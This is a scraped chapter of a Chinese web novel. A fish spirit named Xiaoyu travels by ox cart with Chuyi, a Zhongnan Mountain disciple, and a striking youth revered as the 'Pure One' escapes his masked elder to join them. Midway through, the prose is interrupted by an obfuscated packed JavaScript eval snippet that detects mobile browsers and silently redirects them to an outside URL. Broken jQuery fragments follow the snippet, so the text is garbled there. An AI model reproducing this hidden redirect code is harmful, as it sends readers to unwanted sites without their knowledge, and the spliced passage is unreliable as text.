32. 第一日

作品:《向小鱼献上忠心

    桂花糕?!


    小鱼诧异地抬头,眼中绽开惊喜的光芒。


    初一目朝她微微颔首,示意她尝尝。


    她小心翼翼地拈起一块,送到嘴边轻轻咬下一小口。


    软糯细致的糕体几乎一触即化,舌尖轻轻一转,甜香便四散开来,清润的桂花香在口腔里游了一圈,又在鼻息间弥散开来,当真是美味至极。


    她满足地眯起眼,小口慢慢吃着,眼神时不时偷瞄身旁眉眼温的少年,见他始终一副端正神闲背影挺直的样子,心中最后的点戒备终于悄然放下。


    吃完最后一口,小鱼不舍地舔舔唇角。


    初一递上早已备好的水囊,小鱼也没多想直接接过仰头饮下几口清水,清冽的泉水滑过喉咙,腹中踏实,心中也踏实了些。


    道旁野花开得正好,颜色鲜亮,挤挤簇簇地探出枝叶,光顺着林间倾洒下来,暖融融地披落一身,将一切都镀上温柔的金边。


    小鱼偏过头看向身旁的少年,突然有些好奇这等纯善之人:“我叫小鱼,家在子母河。你呢?从哪里来?”


    “我自幼长在终南山。”


    “终南山?”小鱼一下子坐直。


    “是那个道家祖庭仙踪难觅的终南山?”


    初一低低应声。


    终南山,她当然听过!


    子母河的水族没少流传关于终南山的传闻,终南山可是凡人穷尽一生也难寻其门的清修圣地,能从那里出来的弟子纵使年少,也绝非寻常。


    如今坐在她身边的少年,竟就是从那里出来的?


    她眼睛发亮,忍不住接着追问,身子不自觉地向他倾近几分:“那你下山来,是为何事?”


    她以前在子母河河底时经常听说终南山弟子会下山,她不懂为何人间道士为何会有下山一说,难不成和她们妖一样下山也是为了体验一番?


    精怪修行化形大多数是来体验为人的乐趣,从前潜在水底,她总望见岸上浣纱的姑娘们尝美食、踏春游,笑语不断,她们活得如此鲜活,叫她好生羡慕。


    以前她常常想,若是哪一天能变成人,也要像她们那样,好好地活一场。


    如今她既已化形,自然也要好好体会一番为人的乐趣。


    初一回头,对上她的目光,她的眼睛很亮,干干净净得没有一丝阴翳,在她眼中他看见了远处的蓝天白云,还有近在咫尺绿影和他。


    阳光明亮地照在他玄红衣袍上,衬得他面容清朗,身姿如玉。


    恰在此时,牛车缓缓驶入浓密的林荫,斑驳的树影悄然漫过他周身,明明灭灭间,一切都沉进一片无声的荒芜。


    “终南山弟子成年之后都会下山修行。”他答道。


    “我已经下山一年有余。”


    “修行?”小鱼来了兴致,“我听族中长辈说,终南山是天下道门之首,是修道之人最向往的地方。那里的道长是不是个个都神通广大?”


    “嗯,”他目光垂落,掩去深处一丝波动,“山中长老皆修为高深。”


    “你们是不是法术都很高强?会飞天遁地、移星换斗?”


    “也没有这般厉害……”


    小鱼实在好奇,恨不得马上知道这世间的点点滴滴,撑着手掌凑到他身侧:“你也太谦虚了,我观你气质便觉得你非常人!”


    “你同我说说你在山中的故事呗。”


    牛车继续前行,道旁的风景悄然变换,平整的田埂与水畦逐渐被起伏不定的丘陵与浓密深幽的林木取代。


    空气中弥漫一股潮湿的气息,隐隐带着腐叶的青味,又混杂着一种若有若无的甜香,说不清像什么。


    初一告诉小鱼再往前一段,便是无梦乡,小鱼倚在车边,半眯着眼看天光,听见这话,立刻精神一振,正欲出声,车身一个急急的转弯打断她的想法。


    前方,略显荒凉的官道上蓦地出现一队衣着迥然有别的人。


    他们身穿深靛色的粗布短衣长裤,衣襟、袖口与裤管上皆绣着密密麻麻的图纹,线色五彩,图案诡奇古怪,蜿蜒盘绕,似蛇非蛇,似鸟非鸟,更有些形状是从未出现在任何典籍中的虫兽,斑驳的光影下,图腾仿佛在微微游动,像有生命般爬行着,乍一看竟像是从画里走出来的什么奇异部族,一眼望去,叫人心头莫名一紧。


    这队人整齐地走着,簇拥着两人走在最前。


    其中一人,是一位身形瘦削如竹的老者,他身披一袭异常宽大曳地的黑色长袍,袍服以银线绣满无数扭曲艰涩的符文,面覆狰狞的木质面具,露出一双深陷锐利的眼睛,手拄九尺长杖,通体由暗褐藤蔓缠绕而成,杖顶嵌有一颗硕大幽绿的宝石,整个人散发着一股令人不寒而栗的阴森之气。


    而老者身旁的少年,却是截然不同的气质。


    少年不过十八九岁,长得极美,面容精致如雕,肌肤冷白似玉,一双桃花眼微挑,眸光清澈,却偏又因神色张扬而带出几分令人目眩的魅意。


    一身贴合身形的短打,以玄缎为底,襟口与袖缘密绣着深红色的繁复纹样,墨色衣物紧束出他挺拔修长的身形与劲瘦利落的腰线,行动间自有一股利落,颈上套着层层银项圈,雕刻着细密的花鸟虫鱼古纹,腕间与脚踝处亦缠着数道银镯,其上铃坠精巧,随着步履轻移,便发出一片清越琐碎的“叮铃”声响。


    气场极其不同的二人,此刻意外地散发出一种危险而和谐的平衡。


    少年本是闲步慢走,神色漫不经心,眼角随意一撇,瞧见后方晃悠而来的牛车,眸光微微一动。


    他忽地停下脚步,回头望向身旁的黑袍老者,语调清朗,声如玉磬,带着任性:“阿蛊,我走累了,要坐那个。”


    被称作阿蛊的黑袍老者脚步顿住,面具下的眉头似乎动了动,低声劝阻道:“净者,不可。我们此行……”


    话音未落,少年已如一头轻盈而迅捷的猎豹,几步疾掠而出,袍角一荡,银铃翻飞,扬手拦在牛车之前。


    车夫打着哈欠,眼前忽然多出一个人影,顿时吓得面如纸色,慌忙勒紧绳子,黄牛哞叫一声停下来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411102|199554||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还不等众人反应过来,少年一个翻身跳上牛车,脚腕间银铃轻响,尾音悠长,带着几分悦耳。


    他大大方方地在初一与小鱼对面寻了个舒适的位置坐下,悠闲地晃晃那只戴着银链脚铃的脚踝,转头朝仍站着的老者扬声笑道:“阿蛊——付钱!”


    阿蛊站在原地,沉默片刻,目光穿过林影与阳光,落在少年的身影上,面具下传来一声几不可闻的叹息。


    他摇摇头,终是缓步走到车夫跟前,从怀中取出一锭沉甸甸的银子递过去,低声道:“请将净者安然送至净教门前,有劳了。”


    车夫哪里敢收这钱,他双手抖如筛糠,话语支离破碎,连连推拒:“不……不敢!万万不敢!能……能载上大人,是……是小人三世修来的福分!”


    他再三推辞不愿收钱。


    少年闻言,懒洋洋地趴在车辕上,斜睨着车夫,唇角勾着笑:“让你收,你便收。”


    他语调拖长,尾音一勾,带着一点玩味,“难道——我的话,你也不听?”


    车夫被他这双含笑的桃花眼一扫,更是吓得魂飞魄散,只觉得这递到眼前的银子烫得骇人,他连碰也不敢碰。


    “哎。”


    少年一叹,声音清脆爽朗,如铃撞碧玉,带着一股纯然的快意。


    他头一偏,银链铃坠随动作一并响起,清音流转,与他发辫间叮铃之声交织在一起。


    风吹细羽,乱入耳廓。


    “净者都开口让你收下,你还怕什么?”


    “净者”二字脱口而出,似蕴含着某种不可言说的魔力。


    车夫浑身一震,脸上极致的恐惧竟顷刻褪去,转而化为一种混杂着卑微敬畏与狂热崇拜的神情。


    他仿佛听到某种神谕,不再推辞,颤抖的双手无比恭谨地接过银子,随后朝着少年方向“咚”地磕了一个响头。


    “多谢净者大人恩赏!多谢净者大人!”


    他连磕两下,声音哽咽,语调发颤,如信徒骤见神启。


    牛车吱呀作响,很快便将后方那队诡异的人马远远甩在尘土之后,再不见踪影。


    车上的少年回头望一眼,确认再也看不到阿蛊及其他随从后,脸上悲悯神圣不容亵渎的“净者”姿态瞬间冰消瓦解,整个人如同卸下千斤重担。


    他唇角一扬,勾出一个狡黠恶劣的笑容。


    “嘿,总算把那老毒物给甩掉了!”


    说着,他畅快地一伸懒腰,关节发出轻微的脆响,随即整个人往后一靠,慵懒闲适地陷进身后的干草堆中。


    小鱼自少年跃上车辕起,一双眼睛便像是被磁石吸住,没从他身上移开半分。


    她从未见过这般摄人心魄的好看人物,少年一头乌黑长发并未束起,而是被精心编作无数细辫,发间交织五彩丝线,并缀入细小的银珠与铃铛,垂落至腰际,每当微动,发间银铃便与身上饰物轻声相撞,也从未见过如此繁复夺目、银铃叮当的异族装扮。


    一时间竟看痴了,连身旁初一逐渐安静的神色都未曾留意。